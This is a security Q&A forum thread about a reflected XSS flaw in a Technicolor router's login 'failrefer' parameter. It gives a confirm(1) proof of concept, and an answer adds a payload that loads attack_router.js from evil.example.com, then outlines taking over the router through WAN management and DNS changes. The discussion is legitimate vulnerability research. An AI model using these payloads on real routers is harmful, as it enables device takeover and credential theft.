2

I have been trying to analyze my router modem and see how it works and check for possible vulnerabilities in the system . and i would like some help .

Router Security Research :

router access ip : 192.168.1.1

first the web server do a check :

if (user_level == -1) {
    location.href = "admin.html";
//if user_level == -1 // get him back to the login page 

the web server get the " user_level " from a javascript file .

location : http://192.168.1.1/users.sjs
var currentUser = "error"; var user_level = -1; 

i don't know how the web server can send values to this script ! is this script have global variables ?

if the login is succesfull : the javascript file values :

location : http://192.168.1.1/users.sjs
var currentUser = "technicolor"; var user_level = 15; 

/// current user check :
if (currentUser == "technicolor") {
        location.href = "thomson/index.html";
    }

so the web server give acces if the users.sjs have technicolor and 15 as variables values !

the login page send a POST request to this file :

POST /cgi-bin/basicauth.cgi?index.html HTTP/1.1

one of the request variables is failrefer if the login failed he will redirect him to /admin.html and i found that this post variable have an XSS vulnerability :

&failrefer=/admin.html</script><script>confirm(1)</script>

i really want to know what you think ! is there a way that someone can access my router control panel if he found these vulnerability ! thanks :)

  • So the confirmation box appears with that attack? – SilverlightFox Aug 31 '15 at 11:09
  • yes ! a javascript box ! is there a way to send values to a global variables with the script ? – Yorke York Aug 31 '15 at 11:23
  • Still don't see how this XSS is possible without you being LOGGED in to your router first. Most people don't login to their router when they surf – Salah-1 Sep 1 '15 at 6:12
  • This authentication mechanism could be broken by design since the checks for redirection seems to be done in JavaScript. If the authentication can be bypassed, you maybe have a bigger problem than XSS. – Noir Sep 1 '15 at 13:51
  • i tried to install "NoRedirect" addon on firefox ! so he don't get me back on the admin.html login page .. but the problem he always check for that " user_level" value ! when he find that the value have "-1" he get me back to login ! :S – Yorke York Sep 1 '15 at 19:51
2

Yes they could control your router with that vulnerability.

Even if there's a limit to the length of the failrefer parameter, an attacker could host a script that can execute router functions on http://evil.example.com/attack_router.js and then trick you into visiting

&failrefer=/admin.html</script><script src="http://evil.example.com/attack_router.js"></script>

somehow. For example, by sending you phishing links or by sending emails appearing to come from your known contacts (if this was any targeted attack).

However, you would have to either be logged into your router already (and I'm assuming a call to the URL above won't log you out), or have your router configured with default or weak credentials.

All the attack_router.js script would need to do is make POST requests to router configuration pages. For example, to the remote login page to enable HTTP management on the WAN side. The attacker, knowing your IP from the request to their evil.example.com domain can simply then log into your router.

Other example attacks would be using the DNS configuration page to change your DNS to one that is under control of the attacker. Then they could redirect you to their own systems to attempt to capture your credentials (e.g. an sslstrip style attack).

  • I haven't quite grasped this issue yet... however, I thought modern browsers prevented or prompted cross-zone (internet<->intranet) usage. – Nathan Goings Aug 31 '15 at 22:35
  • @SilverlightFox, this would have been possible years back, but wouldn't you agree that most browsers now flag that url you posted with the "src=" as XSS – Salah-1 Sep 1 '15 at 6:12
  • i tried to do an html post with the variables ! and like you said if it will send a username and password as parameters ! it makes you logout because you typed a wrong password , and the user will lose the session ! – Yorke York Sep 1 '15 at 13:04
  • @mohamed-abshir: There are various ways to evade these filters. These change depending on browser, OS and revision. Don't rely on them to protect you all of the time - they are a band aid to protect users from vulnerable sites. The real responsibility lies with the website operator (or in this case the router vendor). – SilverlightFox Sep 1 '15 at 13:08

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.